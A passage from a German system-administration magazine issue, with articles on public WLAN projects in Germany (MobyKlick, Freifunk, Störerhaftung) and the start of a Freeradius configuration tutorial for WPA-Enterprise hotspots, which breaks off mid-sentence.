informieren können. Doch in Deutschland<br />

gibt es kaum freie Netze, obwohl<br />

Ausnahmen zeigen, dass es möglich ist.<br />

Mit einem flächendeckenden drahtlosen<br />

Netzwerk wäre es einfach, ein Dorf<br />

oder eine ganze Stadt komplett <strong>mit</strong><br />

einem Internetzugang zu versorgen.<br />

Denn die deutschen Anbieter versorgen<br />

noch lange nicht das gesamte Land <strong>mit</strong><br />

Breitband-Mobilfunk. Während die Abdeckung<br />

in Städten meist passable Dimensionen<br />

angenommen hat, wird sie<br />

in ländlichen Gebieten zum Trauerspiel.<br />

Ein großflächiges, für jeden nutzbares<br />

WLAN könnte dort Abhilfe schaffen. Die<br />

Anwohner geben darin einen Teil ihrer<br />

eigenen Bandbreite für die Öffentlichkeit<br />

frei. Doch der Gesetzgeber schiebt<br />

dem einen Riegel vor: Aufgrund der sogenannten<br />

Störerhaftung (siehe Kasten<br />

„Störerhaftung“) traut sich kaum noch<br />

jemand, seinen Internetanschluss <strong>mit</strong><br />

Fremden zu teilen. Zu groß ist die Gefahr,<br />

dass unrechtmäßige Handlungen<br />

im Netz auf einen selbst zurückfallen.<br />

Dass es anders geht, zeigt ein Blick<br />

über die Grenzen Deutschlands hinaus.<br />

Öffentliche <strong>Drahtlos</strong>igkeit<br />

London, Paris, New York und viele<br />

weitere Metropolen bieten der Allgemeinheit<br />

teils kostenlose, drahtlose<br />

Netzwerke. Vielfach betreiben die<br />

Kommunen diese Netze selbst. Das<br />

beste Beispiel in dieser Hinsicht ist<br />

Estland: Der baltische Staat rangiert<br />

im weltweiten Ranking hinsichtlich des<br />

Breitbandausbaus weit vorne, in der<br />

Hauptstadt Tallinn deckt zudem ein<br />

WLAN das gesamte Stadtgebiet ab.<br />

Schaut man auf deutsche Städte, sieht<br />

es dagegen traurig aus. In Berlin und<br />

Potsdam decken <strong>Drahtlos</strong>netzwerke<br />

einige Innenstadtbereiche ab, über<br />

die die Öffentlichkeit zumindest eine<br />

halbe Stunde am Tag kostenfrei surft.<br />

Kunden des Betreibers – eine Kooperation<br />

zwischen Kabel Deutschland und<br />

der Medienanstalt Berlin Brandenburg<br />

(mabb) – dürfen auch länger ins Netz.<br />

Das Angebot hat jedoch noch experimentellen<br />

Charakter.<br />

Einen Testlauf in Sachen Public-WLAN<br />

möchte auch München starten und zu-<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Securty<br />

Öffentliche <strong>WLANs</strong><br />

33<br />

mindest im direkten Innenstadtbereich<br />

einige ausgesuchte Plätze <strong>mit</strong> freiem<br />

WLAN abdecken. Ein ähnliches Vorhaben<br />

für Augsburg scheiterte allerdings<br />

erst letztes Jahr.<br />

Der bereits genannte Betreiber Kabel<br />

Deutschland sowie der Kommunikationsriese<br />

Telekom planen zumindest für<br />

die eigenen Kunden ein weiträumigeres<br />

WLAN aufzubauen. Dazu wollen sie am<br />

Anschluss der eigenen Breitbandkunden<br />

<strong>mit</strong>hilfe eines speziellen Routers<br />

ein zusätzliches, abgeschottetes WLAN<br />

aufmachen und anderen Nutzern zur<br />

Verfügung stellen. In anderen Ländern,<br />

etwa Frankreich und Großbritannien,<br />

wenden die großen Internet-Anbieter<br />

diese Technik seit Jahren an.<br />

Doch es bleibt fraglich, ob die Pläne<br />

der beiden Unternehmen zu flächendeckenden<br />

<strong>WLANs</strong> in Städten und auf<br />

dem Land führen, denn die Betreiber<br />

haben wenig Einfluss auf den Standort<br />

und die Ausrichtung der Router. Ein<br />

Gerät im dritten Geschoss eines Hinterhauses<br />

erreicht vielleicht zwar die<br />

Nachbarn, aber nicht den Touristen,<br />

der auf der Straße vorbeiläuft. Über<br />

Hand-Over-Techniken ließen die Kommunikationsunternehmen<br />

bisher auch<br />

nichts verlauten, die vorbeieilenden<br />

Passanten den Übergang zwischen<br />

den Hotspots des Netzwerks erlauben<br />

würden. So steht zu befürchten, dass<br />

die Initiativen der beiden Netzbetreiber<br />

eher zu einem Flickenteppich führen.<br />

Norddeutsche<br />

Breitbandhoffnung<br />

Eine Ausnahme des nahezu WLANfreien<br />

Status Quo gibt es im Norden<br />

Deutschlands. In der Stadt Norderstedt<br />

nahe Hamburg hat der örtliche Breitbandanbieter<br />

Wilhelm.Tel, eine Tochter<br />

der ortsansässigen Stadtwerke,<br />

Nägel <strong>mit</strong> Köpfen gemacht. Erst hat<br />

das Unternehmen in Eigenregie über<br />

90 Prozent der Haushalte <strong>mit</strong> einem<br />

Abbildung 1: Wilhelm.Tel stellt seit letzten Sommer<br />

im Projekt MobyKlick der Öffentlichkeit in Norderstedt<br />

ein kostenloses WLAN zur Verfügung.<br />

Jan Rähm


34<br />

Wireless Security<br />

Öffentliche <strong>WLANs</strong><br />

http://www.olsrexperiment.de / Wikimedia<br />

Abbildung 2: Selbsthilfe für Betroffene mangelnden DSL-Ausbaus in Ost-Berlin: Die Freifunk-Initiative<br />

erschließt per WLAN das Breitbandnetz.<br />

breitbandigen Internetzugang <strong>mit</strong> bis<br />

zu 100 Mbit/​s versorgt. Dann nahm es<br />

den öffentlichen Raum in Angriff: Im<br />

Juni letzten Jahres gab Wilhelm.Tel<br />

den Startschuss für das Norderstedter<br />

WLAN namens MobyKlick [1]. Abbildung<br />

1 zeigt einen Funkmast <strong>mit</strong> WLAN-<br />

Hotspots.<br />

Mit MobyKlick gelangen Norderstedts<br />

Bürger und Besucher über zwei Modelle<br />

kostenlos ins Internet. Das eine gilt für<br />

die Nutzer des lokalen Breitbandanbieters,<br />

laut Aussage des Unternehmens<br />

fast alle Bürger der Stadt. Sie bekommen<br />

die MobyKlick-Zugangsdaten <strong>mit</strong><br />

dem bestehenden Vertrag und loggen<br />

sich <strong>mit</strong> ihnen ins neue drahtlose Netzwerk<br />

ein. Das zweite Modell richtet<br />

sich an Besucher von Norderstedt. Sie<br />

erhalten per Gutscheinkarte oder SMS<br />

einen Zugang für 24 Stunden – eine Verlängerung<br />

ist möglich. Beide Gruppen<br />

<strong>nutzen</strong> das Public-WLAN kostenlos und<br />

ohne Volumenbegrenzung.<br />

Zell-Sprung<br />

Das MobyKlick-Netz weist eine vergleichsweise<br />

hohe Bandbreite bis<br />

zu 100 MBit pro Sekunde auf. Diese<br />

Geschwindigkeit realisieren die Betreiber<br />

durch eine direkte Anbindung der<br />

Accesspoints ans Glasfasernetz. Der<br />

technische Planer Malte Kock scherzt<br />

im Gespräch <strong>mit</strong> dem <strong>ADMIN</strong>-<strong>Magazin</strong>:<br />

„Egal wo Sie hier bei uns buddeln, Sie<br />

treffen immer auf eine Glasfaser.“<br />

Eine zweite Besonderheit des Netzes:<br />

Es ist Roaming-fähig. Das bedeutet,<br />

dass die Nutzer nahtlos und unterbrechungsfrei<br />

zwischen den Funkzellen<br />

wechseln. Das macht ein Controller<br />

möglich, der alle Knoten steuert, also<br />

alle Accesspoints in Norderstedt zentral<br />

verwaltet. Malte Kock erklärt: „Das<br />

heißt, ich habe einen zentralen Punkt,<br />

der über alle Geräte Bescheid weiß.<br />

Im Hintergrund werden Messungen<br />

vorgenommen. Wenn ein Gerät aus einem<br />

Bereich hinausläuft und von einer<br />

anderen Antenne übernommen wird,<br />

sorgt der Controller dafür, dass dieser<br />

Client vom ersten Accesspoint disconnected<br />

und vom nächsten Accesspoint<br />

übernommen wird.“ Wenn das WLAN in<br />

einigen Monaten flächendeckend fertiggestellt<br />

ist, soll es in Norderstedt sogar<br />

möglich sein, unterbrechungsfreie<br />

IP-Telefonate übers WLAN zu führen<br />

oder Video-Streams anzusehen.<br />

Als dritte Besonderheit haben Malte<br />

Kock und seine Mitarbeiter besondere<br />

Maßnahmen zum Schutz der Daten<strong>sicher</strong>heit<br />

implementiert. Sie teilen das<br />

Netz von MobyKlick in zwei Bereiche:<br />

Einer arbeitet verschlüsselt, der andere<br />

n Störerhaftung<br />

Als Störerhaftung bezeichnen Juristen im Falle eines Internetzugangs<br />

den Umstand, dass der Betreiber einer Kommunikationseinrichtung –<br />

wie eines öffentlich zugänglichen drahtlosen Netzwerks – für eventuelle<br />

Rechtsverstöße sogenannter Störer haftet. Nutzt also ein Anwender das<br />

WLAN eines anderen zum Beispiel für das Bereitstellen urheberrechtlich<br />

geschützten Materials auf Tauschbörsen, kann der Betreiber des Netzes<br />

dafür belangt werden. Im Mai 2010 schränkte der Bundesgerichtshof in<br />

einer Entscheidung die Haftung auf Abmahnkosten ein und hat da<strong>mit</strong><br />

immerhin die Gefahr exorbitanter Schadenersatzansprüche weitgehend<br />

gebannt.<br />

Besonders gefährdet sind Betreiber offener Netze. Wer sein Netzwerk<br />

<strong>mit</strong> Zugangsbeschränkungen von der Außenwelt abschottet, muss sich<br />

nur noch um die Zugangsberechtigten sorgen und diese gegebenenfalls<br />

über den rechtskonformen Umgang <strong>mit</strong> dem Netzwerk belehren. Laut<br />

mancher Gerichtsurteile bewahren solche Maßnahmen Anschlussinhaber<br />

vor juristischen Folgen. Doch nicht alle Gerichte entscheiden in die<br />

gleiche Richtung. Deshalb fordern nicht nur Juristen seit langem, dass<br />

der Gesetzgeber den Betrieb eines freien <strong>WLANs</strong> endlich auf eine solide<br />

Grundlage stellt.<br />

Die letzte Regierung hat den Zugang zu freien Netzen nicht reguliert.<br />

CDU/​CSU und SPD haben jedoch im Koalitionsvertrag vereinbart, „die<br />

gesetzlichen Grundlagen für die Nutzung dieser offenen Netze und<br />

deren Anbieter“ zu schaffen. Man wolle „die Potenziale von lokalen<br />

Funknetzen (WLAN) als Zugang zum Internet im öffentlichen Raum“<br />

ausschöpfen.<br />

Weiter heißt es in dem Papier: „Rechts<strong>sicher</strong>heit für WLAN-Betreiber ist<br />

dringend geboten, etwa durch Klarstellung der Haftungsregelungen“.<br />

Wie viel von diesen Worten im Vertrag zu halten ist, wird sich zeigen.<br />

Fakt ist, dass die Einrichtung freier <strong>WLANs</strong> oftmals scheitert, weil beispielsweise<br />

Kommunen Angst vor Abmahnungen haben, wie der Deutsche<br />

Städte- und Gemeindebund im Gespräch <strong>mit</strong> dem <strong>ADMIN</strong>-<strong>Magazin</strong><br />

bestätigt.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Securty<br />

Öffentliche <strong>WLANs</strong><br />

35<br />

Abbildung 3: In Mesh-Netzen kommunizieren<br />

die WLAN-Router <strong>mit</strong>einander und<br />

leiten die Daten über die jeweils beste<br />

Route.<br />

unverschlüsselt. Der ungeschützte Teil<br />

dient zum spontanen Surfen – zum<br />

Beispiel auf dem Portal des MobyKlick-<br />

Netzes. Dort bekommen Besucher unter<br />

anderem Zugangsdaten, <strong>mit</strong> denen<br />

sie in den verschlüsselten Teil wechseln<br />

können.<br />

Im unverschlüsselten Teil des Netzes<br />

soll kein Nutzer für den anderen<br />

sichtbar sein. Malte Kock erklärt den<br />

erhöhten Aufwand wie folgt: „Wir<br />

versuchen so weit es geht, den Kommunikationsweg<br />

von Ende zu Ende zu<br />

verschlüsseln, um von vornherein die<br />

Angriffsfläche für Phishing-Angriffe einzudämmen,<br />

die versuchen, aus der Luft<br />

Daten abzugreifen und Kundendaten<br />

zu kompro<strong>mit</strong>tieren.“<br />

Neben der Daten<strong>sicher</strong>heit steht die<br />

Datensparsamkeit im selbst auferlegten<br />

Pflichtenbuch des Norderstedter<br />

Netzbetreibers. Gelegenheitsnutzer<br />

brauchen für den Zugang zum drahtlosen<br />

Netz nur ihre Handynummer preiszugeben.<br />

Die Daten der Wilhelm.Tel-<br />

Kunden liegen im Zweifel sowieso vor,<br />

erklärt Geschäftsführer Theo Weirich<br />

dem <strong>ADMIN</strong>-<strong>Magazin</strong>. Der Störhaftung<br />

sei da<strong>mit</strong> Genüge getan: „In den zwei<br />

Jahren, in denen wir das aufgebaut und<br />

getestet haben, hat sich die Gesetzeslage<br />

zumindest was Vorratsdatenspeicherung<br />

und entsprechende Registrierung<br />

von Nutzerdaten angeht, noch<br />

nicht gefestigt. Wir brauchen aber eine<br />

gewisse Störerhaftung. Da wollen wir<br />

entgegenwirken, indem wir die Tickets<br />

dann über SMS zustellen.“ Dank dieser<br />

SMS habe man dann auch die Telefonnummer<br />

der MobyKlick-Benutzer und<br />

könne sie darüber nötigenfalls <strong>mit</strong>hilfe<br />

einer richterlichen Anordnung identifizieren.<br />

Rettungsanker für Berlin<br />

Auch für die Aktivisten des Projekts<br />

Freifunk [2] in Berlin war die Störerhaftung<br />

ein Thema. Allerdings führten<br />

zunächst ganz andere Probleme zur<br />

Gründung der Initiative. Eigentlich<br />

legte eine technische Fehlplanung den<br />

Grundstein für den Aufbau eines der<br />

ersten großen öffentlich nutzbaren<br />

<strong>WLANs</strong>: In der Zeit zwischen deutscher<br />

Wiedervereinigung 1990 und dem<br />

Jahrtausendwechsel investierten Bundespost<br />

und ihr Nachfolger Deutsche<br />

Telekom massiv in den Ausbau der<br />

Telekommunikationsnetze, vor allem<br />

in Ostdeutschland. Dabei setzte man<br />

auf die OPAL-Technik, eine glasfaserbasierte<br />

Kommunikationsinfrastruktur,<br />

die sich zwar gut für die Telekommunikation,<br />

aber schlecht für Datendienste<br />

eignete. Gar nicht zu gebrauchen war<br />

OPAL für die DSL-Technologie.<br />

So wurde die Technik, die Deutschlands<br />

Osten zukunftsfähig machen<br />

sollte, zu einer massiven Bremse des<br />

Breitbandausbaus. Das betraf auch den<br />

Osten Berlins, in dem die Netzwerk-<br />

Programmiererin Elektra Wagenrad<br />

schon damals wohnte. Sie behalf sich<br />

wie andere Telekom-Kunden <strong>mit</strong> ISDN-<br />

Flatrates. So kam sie dank ISDN-Kanalbündelung<br />

immerhin <strong>mit</strong> 128 Kilobit<br />

pro Sekunde ins Netz.<br />

Dann stampfte die Telekom die ISDN-<br />

Pauschaltarife jedoch ein. Elektra<br />

Wagenrad: „Da<strong>mit</strong> waren wir hier quasi<br />

digital abgeschnitten.“ Das Ende der<br />

ISDN-Flatrates geriet aber auch zur<br />

Geburtsstunde der Freifunk-Bewegung:<br />

„So entstand die Idee, Freifunknetze<br />

aufzubauen, schon alleine um die<br />

Breitbandversorgung für uns selbst<br />

<strong>sicher</strong>zustellen“ erzählt Elektra Wagenrad.<br />

„Wir haben also erstmal WLAN-<br />

Funkstrecken aufgebaut und uns aus<br />

den Kiezen, die so <strong>glücklich</strong> waren,<br />

A-DSL zu bekommen, die Breitbandgeschwindigkeit<br />

zu holen.“ Abbildung 2<br />

zeigt den heutigen Stand der Freifunk-<br />

Verbreitung.<br />

Seit über zehn Jahren bauen die<br />

Freiwilligen des Projekts Freifunk<br />

öffentliche <strong>WLANs</strong> auf. Neben der<br />

erwähnten Not bildet auch die Lust am<br />

Experimentieren und Programmieren<br />

ein Motiv. Die Freifunker werden dabei<br />

auch von den Bezirken unterstützt:<br />

<strong>mit</strong> Standorten für die Technik<br />

und teilweise <strong>mit</strong> ein wenig Geld.<br />

Inzwischen existieren Freifunk-Netze in<br />

der ganzen Bundesrepublik und auch<br />

über deren Grenzen hinaus hat sich die<br />

Idee verbreitet.<br />

Breitband ohne Zensur und<br />

Spionage<br />

Die kostenlose Internetversorgung<br />

bildet allerdings nur einen Faktor des<br />

Erfolgs von Freifunk, beschreibt Elektra<br />

Wagenrad: „Mittlerweile gibt es immer<br />

mehr Leute, die sich dafür begeistern<br />

– gerade im Kontext von Zensur und<br />

Überwachung.“ Aus diesem Grund<br />

entstünden aktuell immer mehr solche<br />

Netze, obwohl man sie nur der Bandbreite<br />

wegen zumindest in den Großstädten<br />

immer weniger bräuchte, sagt<br />

die Entwicklerin.<br />

In Sachen Datenschutz und Schutz der<br />

Privatsphäre hilft dem Freifunk-Projekt<br />

eine Technik, <strong>mit</strong> deren Hilfe es zunächst<br />

auch die Störerhaftung umging:<br />

Mesh-Netzwerke (Abbildung 3). Die so<br />

verbunden Router leiten ihre Daten<br />

über ein VPN nach Schweden und erst<br />

von dort aus ins weltweite Netz. Da<strong>mit</strong><br />

unterlief Freifunk anfangs auch die<br />

Störerhaftung; inzwischen verlässt sich<br />

die Initiative ohnehin auf das Provider-<br />

Privileg, das Internet-Anbieter von der<br />

rechtlichen Un<strong>sicher</strong>heit ausnimmt.<br />

Weiterhin hoffen die Aktivisten aber,<br />

der vermuteten Schnüffelei an deutschen<br />

Netzknoten zu entgehen. Ob die<br />

Technik diese Hoffnung erfüllt, ist allerdings<br />

angesichts der Enthüllungen des<br />

Ex-Geheimdienstlers Edward Snowden<br />

und der sich abzeichnenden weltweiten<br />

Überwachung durch verschiedene<br />

Geheimdienste fraglich. (csc) n<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31652<br />

[1] WLAN in Norderstedt:<br />

[http:// www. mobyklick. de/]<br />

[2] Freifunk: [http:// freifunk. net/]<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


36<br />

Wireless Security<br />

Freeradius<br />

Tyler Olson, 123RF<br />

Copyright, 123RF<br />

Freeradius für den WLAN-Hotspot<br />

Großer Radius<br />

Firmen können es sich kaum noch erlauben, auf ein drahtloses Netzwerk zu verzichten. Die benutzerspezifische<br />

Zugangskontrolle funktioniert über WPA-Enterprise – das verbreitete Open-Source-Tool Freeradius<br />

bildet das passende Backend. Carsten Schnober<br />

„Wie heißt das WLAN-Passwort?“ –<br />

„Steht auf dem Zettel unter meiner<br />

Tastatur!“ Das ist der Albtraum für<br />

jeden Admin, denn den Zugang ins<br />

Firmennetz über so ein gemeinsames<br />

Passwort zu kontrollieren, wird schon<br />

bei einer überschaubaren Anzahl von<br />

Mitarbeitern unmöglich.<br />

Radius<br />

Die Lösung trägt den Namen <strong>IEEE</strong><br />

802.1X, der für einen Standardmechanismus<br />

für die Netzwerkauthentifizierung<br />

steht. Für Firmen ausgerichtete<br />

WLAN-Hotspots bieten dieses<br />

Anmeldeverfahren üblicherweise <strong>mit</strong><br />

der Bezeichnung WPA-Enterprise als<br />

Alternative zu WPA-Personal an (siehe<br />

Abbildung 1).<br />

Die User-Datenbank verwaltet der Hotspot<br />

in den meisten Fällen nicht selbst.<br />

Stattdessen befragt er einen Radius-<br />

Server im selben Netzwerk (Abbildung<br />

2): An dieser Stelle findet die zentrale<br />

Nutzerverwaltung statt. Kommt ein<br />

Mitarbeiter hinzu, trägt er ihn in den<br />

Radius-Server ein und der WLAN-Zugriff<br />

ist inklusive.<br />

Die Auflösung des Akronyms Radius<br />

– Remote Authentication Dial-In User<br />

Service – zeigt, dass sich das System für<br />

größere Aufgaben als die Verwaltung<br />

von WLAN-Usern eignet. Es kommt<br />

auch bei Internet-Anbietern zum Einsatz,<br />

die <strong>mit</strong> Radius-Servern ihre häufig<br />

sehr zahlreichen Benutzer verwalten.<br />

Radius setzt das sogenannte AAA-<br />

Konzept um: Authentifizierung, Autorisierung,<br />

Accounting. Für den Anwendungsfall<br />

der Zugangskontrolle zu<br />

einem WLAN spielen die ersten beiden<br />

Komponenten die Hauptrolle. Bei der<br />

Authentifizierung überprüft der Radius-<br />

Server Usernamen und Passwort, im<br />

Rahmen der Autorisierung legt er optionale<br />

Zugangsparameter fest, etwa<br />

die erlaubte Nutzungsdauer oder ‐zeit.<br />

Beim Accounting geht es in erster Linie<br />

um die typischen Anforderungen von<br />

Internet-Providern, vor allem die detaillierte<br />

Protokollierung der übertragenen<br />

Daten für statistische Auswertungen<br />

und Abrechnungen.<br />

Freeradius<br />

Freeradius [1] ist der am weitesten<br />

verbreitete Radius-Server. Die freie<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Security<br />

Freeradius<br />

37<br />

Software bietet <strong>mit</strong> einer Vielzahl von<br />

Modulen und Konfigurationsmöglichkeiten<br />

eine enorme Flexibilität. Für Linux,<br />

Mac OS X und BSD-Varianten sowie<br />

Windows [2] stehen fertige Pakete zur<br />

Verfügung.<br />

Die Freeradius-Entwickler verfolgen die<br />

Strategie, das Programm <strong>mit</strong> einer allgemein<br />

sinnvollen Konfiguration auszuliefern.<br />

Anpassungen an die eigene<br />

Umgebung bleiben unvermeidbar, aber<br />

die in vielen realen Szenarien direkt<br />

verwendbaren Voreinstellungen helfen<br />

bei der Orientierung in den zahlreichen<br />

Einstellmöglichkeiten.<br />

Der Start erfolgt unter Linux typischerweise<br />

als Service <strong>mit</strong> »service freeradius<br />

start« oder <strong>mit</strong> dem Befehl »radiusd«<br />

oder auch »freeradius« – je nach<br />

Distribution. Dann hört der Freeradius-<br />

Server gemäß der <strong>mit</strong>gelieferten Standardkonfiguration<br />

auf alle Anfragen<br />

und die Radius-Standard-Ports 1812 für<br />

die Authentifizierung sowie 1813 fürs<br />

Accounting, beide normalerweise definiert<br />

in »/etc/services«. Für Fehlersuche<br />

und zum Testen empfiehlt sich zudem<br />

der Start von Freeradius <strong>mit</strong> »freeradius<br />

‐X«, das alle Debugging-Meldungen<br />

ausgibt.<br />

Weitere Netzwerkparameter sowie<br />

lokale Einstellungen zu Logging, Threading,<br />

Sicherheit und den verwendeten<br />

Modulen befinden sich in der Datei<br />

»radiusd.conf« im Freeradius-Konfigurationsverzeichnis,<br />

unter Linux meist »/<br />

etc/freeradius/«.<br />

»radiusd.conf« sammelt die meisten<br />

Optionen innerhalb von »listen«-Blöcken.<br />

Jeder »listen«-Block steht für eine<br />

virtuelle Server-Instanz, die Voreinstellung<br />

enthält zwei davon: einen für den<br />

Authentifizierungs- und einen für den<br />

Accounting-Server. Sie verwenden die<br />

genannten Standardports und nehmen<br />

Verbindungen von allen Adressen entgegen<br />

(»ipaddr=*«). Bei den virtuellen<br />

Servern handelt es sich im Freeradius-<br />

Konzept um voneinander unabhängige<br />

Instanzen. Sie lassen sich einzeln beispielsweise<br />

spezifisch für jeden Radius-<br />

Client konfigurieren.<br />

Benutzer<br />

Die <strong>mit</strong>gelieferte Freeradius-Konfiguration<br />

liefert zahlreiche Beispielnutzer-<br />

einträge <strong>mit</strong>, die allerdings<br />

<strong>mit</strong> Kommentarzeichen<br />

deaktiviert<br />

sind. Zuständig ist für<br />

die Benutzerkonfiguration<br />

die Datei »users«.<br />

Im einfachsten Fall<br />

trägt man dort direkt<br />

einzelne Benutzer ein:<br />

<strong>ADMIN</strong> Cleartext‐U<br />

Password := "magazin"<br />

Dieser Eintrag weist<br />

dem Benutzer »AD-<br />

MIN« das Attribut<br />

»Cleartext‐Password«<br />

<strong>mit</strong> dem Wert »magazin«<br />

zu. Freeradius liest<br />

diese Einträge beim<br />

Start. Erfragt nun ein WLAN-Endanwender<br />

beim Hotspot um Nutzungserlaubnis,<br />

gleicht der Radius-Server das vom<br />

Client gesendete Passwort <strong>mit</strong> diesem<br />

Wert ab und schickt die entsprechende<br />

Antwort. Änderungen in der Benutzerdatenbank<br />

erfordern einen Neustart<br />

des Freeradius-Servers.<br />

Das gesamte Freeradius-Konfigurationsverzeichnis<br />

sollte nur für den dezidierten<br />

Freeradius-Account lesbar sein,<br />

auch um die Benutzerpasswörter nicht<br />

offenzulegen. Wer sie trotzdem nicht im<br />

Klartext in der »users«-Datei speichern<br />

möchte, dem bietet das »rlm_pap«-Modul<br />

verschiedene Algorithmen an, die<br />

einen verschlüsselten Hash des Passworts<br />

verwenden, darunter MD5 und<br />

SHA-1. Man gibt den verwendeten Algorithmus<br />

als Option an und erzeugt den<br />

Abbildung 1: Einige Hotspots erlauben <strong>mit</strong>tels WPA-Enterprise eine<br />

benutzerspezifische Konfiguration.<br />

Hash beispielsweise <strong>mit</strong> »sha1sum« für<br />

SHA-1:<br />

echo ‐n "magazin" | sha1sum<br />

Der folgende Eintrag in der »users«-<br />

Datei ersetzt den obigen:<br />

<strong>ADMIN</strong> SHA‐Password := U<br />

"e3d5a52968cef277f476a78124d8e05f1d558953"<br />

Der Reihe nach<br />

Freeradius arbeitet die Einträge in der<br />

»users«-Datei von oben nach unten<br />

ab. Bei einem Treffer stoppt es die<br />

Verarbeitung, außer der Parameter<br />

»Fall‐Through = Yes« ist gesetzt. Dieser<br />

steht wie andere zusätzliche Optionen<br />

in der Zeile unter der Benutzerdeklaration,<br />

eingerückt <strong>mit</strong> einem Tabulator.<br />

Abbildung 2: Ein Radius-Server liefert dem WLAN-Hotspot die Benutzerdaten.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


38<br />

Wireless Security<br />

Freeradius<br />

Abbildung 3: Das Programm »radtest« hilft beim Debugging eines<br />

Radius-Servers.<br />

Die »users«-Datei kennt zahlreiche weitere<br />

Benutzeroptionen, beispielsweise<br />

die Uhrzeit, zu der sich ein User authentifizieren<br />

kann (»Login‐Time«). Der<br />

Eintrag »Reply‐Message« definiert eine<br />

benutzerspezifische Antwortmeldung,<br />

die beispielsweise eine Ablehnung<br />

begründet. Insgesamt stehen mehrere<br />

Hundert Optionen zur Verfügung, die<br />

einem Hotspot unter anderem benutzerspezifische<br />

Netzwerkkonfigurationen<br />

vorschlagen; ob er diese umsetzt,<br />

kümmert den Radius-Server jedoch<br />

nicht, das ist Aufgabe des Netzwerkzugangsknotens.<br />

Unter [3] steht die<br />

vollständige Liste der von Freeradius<br />

unterstützten Attribute bereit.<br />

Der Eintrag »DEFAULT« steht für alle<br />

Benutzernamen und dient dazu, allgemeine<br />

Einstellungen vorzugeben.<br />

Das bedeutet auch, dass Freeradius<br />

die Verarbeitung der »users«-Datei abbricht,<br />

wenn es auf einen »DEFAULT«-<br />

Eintrag stößt, wenn dieser nicht <strong>mit</strong><br />

»Fall‐Through = Yes« ausgestattet ist.<br />

Radius-Clients<br />

Da<strong>mit</strong> Freeradius den Zugang erlaubt,<br />

muss Freeradius zunächst auch den<br />

Client kennen, der einen User authentifizieren<br />

möchte. Die Konfiguration der<br />

Clients findet in der Datei »clients.conf«<br />

statt, sie enthält die Netzwerkparameter<br />

und Sicherheitseinstellungen der<br />

Network Access Server (NAS); im Beispiel<br />

also etwa ein WLAN-Hotspot.<br />

Das Schlüsselwort »client«, gefolgt<br />

von einem Namen, leitet jede Client-<br />

Konfiguration ein, die Konfiguration<br />

steht dann zwischen geschweiften<br />

Klammern. Voreingestellt ist nur der<br />

Client namens localhost. Er weist alle<br />

Verbindungen zurück, die nicht vom<br />

selben Rechner stammen. Der Name<br />

kann auch als Definition der zugelassenen<br />

Clients dienen, etwa »localhost«<br />

oder »192.168.1.2/32«.<br />

Seit Freeradius-Version<br />

2 ist dies nicht mehr<br />

vorgeschrieben, funktioniert<br />

aber weiterhin.<br />

Ansonsten legen die<br />

»ipaddr« und »netmask«<br />

die für diesen<br />

Client zugelassenen<br />

Netzwerkparameter<br />

fest.<br />

Ein Radius-Server verlangt außerdem<br />

ein Shared Secret vom Client – ein<br />

Passwort, das als Grundlage für die<br />

weitere verschlüsselte Kommunikation<br />

dient. Der voreingestellte localhost-<br />

Client gibt hier »testing123« vor. Die<br />

Konfiguration sieht zusammengefasst<br />

so aus:<br />

client localhost {<br />

ipaddr = 127.0.0.1<br />

secret = testing123<br />

netmask = 32<br />

}<br />

Der optionale Eintrag »netmask« bestimmt<br />

das erlaubte Subnetz. Fehlt er,<br />

steht er auf 32, was genau einem Rechner<br />

entspricht. Alternativ zur IP-Adresse<br />

nimmt der Eintrag »ipaddr« auch einen<br />

Hostnamen entgegen. Allerdings bedeutet<br />

das, dass bei einem Problem<br />

<strong>mit</strong> dem DNS-Server auch der Radius-<br />

Server ausfällt.<br />

Das in Freeradius enthaltene Tool »radclient«<br />

ermöglicht es, den Zugang von<br />

der Kommandozeile aus zu testen. Mit<br />

der gegebenen Konfiguration gestattet<br />

der Radius-Server das zunächst nur lokal;<br />

Abbildung 3 zeigt die Ausgabe.<br />

Hints und Huntgroups<br />

Zwei weitere Konfigurationsdateien<br />

und Freeradius-Konzepte heißen »huntgroups«<br />

und »hints«. Bei Huntgroups<br />

handelt es sich um Benutzergruppen,<br />

deren Mitglieder über denselben Network<br />

Access Server Zugriff erhalten.<br />

Entsprechend sieht eine einfache Huntgroups-Konfiguration<br />

so aus:<br />

lokal NAS‐IP‐Address == 192.168.1.1<br />

Diese Einstellung ordnet allen Benutzern,<br />

die der Radius-Client (NAS)<br />

<strong>mit</strong> der IP-Adresse »192.168.1.1« authentifiziert,<br />

der Huntgroup »lokal«<br />

zu. Diese Information lässt sich in der<br />

»users«-Datei verwenden, indem man<br />

über das Attribut »Huntgroup‐Name«<br />

die Zugehörigkeit eines Benutzers abgleicht.<br />

Dies bietet die Möglichkeit, für<br />

einen Benutzer verschiedene Einträge<br />

anzulegen, die je nach verwendetem<br />

NAS aktiv werden. Das ist insbesondere<br />

in Kombination <strong>mit</strong> dem »DEFAULT«-<br />

User sinnvoll.<br />

Die Hints erlauben die Detailkonfiguration<br />

direkt über die Benutzernamen,<br />

indem der Client situationsabhängige<br />

Präfixe oder Suffixe anhängt. Die <strong>mit</strong>gelieferte<br />

»hints«-Datei enthält die für<br />

Internet-Anbieter typischen Einstellungen,<br />

die Benutzernamen <strong>mit</strong> den Endungen<br />

».ppp«, ».slip« und ».cslip« das<br />

entsprechende Protokoll zuweisen. Anschließend<br />

wird die Authentifizierung<br />

<strong>mit</strong> Passwort <strong>mit</strong> dem verbleibenden<br />

Benutzernamen fortgeführt, dafür sorgt<br />

der Parameter »Strip‐User‐Name = Yes«.<br />

Der folgende Eintrag führt also zur Authentifierung<br />

eines Benutzers, der sich<br />

als »<strong>ADMIN</strong>.ppp« meldet. Nachdem ihm<br />

das PPP-Protokoll zugewiesen worden<br />

ist, autorisiert Freeradius ihn dann als<br />

»<strong>ADMIN</strong>«. Auch hier bietet sich die Kombination<br />

<strong>mit</strong> »DEFAULT« an:<br />

DEFAULT Suffix == ".ppp",<br />

Strip‐User‐Name = Yes<br />

Hint = "PPP",<br />

Service‐Type = Framed‐User,<br />

Framed‐Protocol = PPP<br />

Benutzerdatenbanken<br />

Freeradius ermöglicht es weiterhin, die<br />

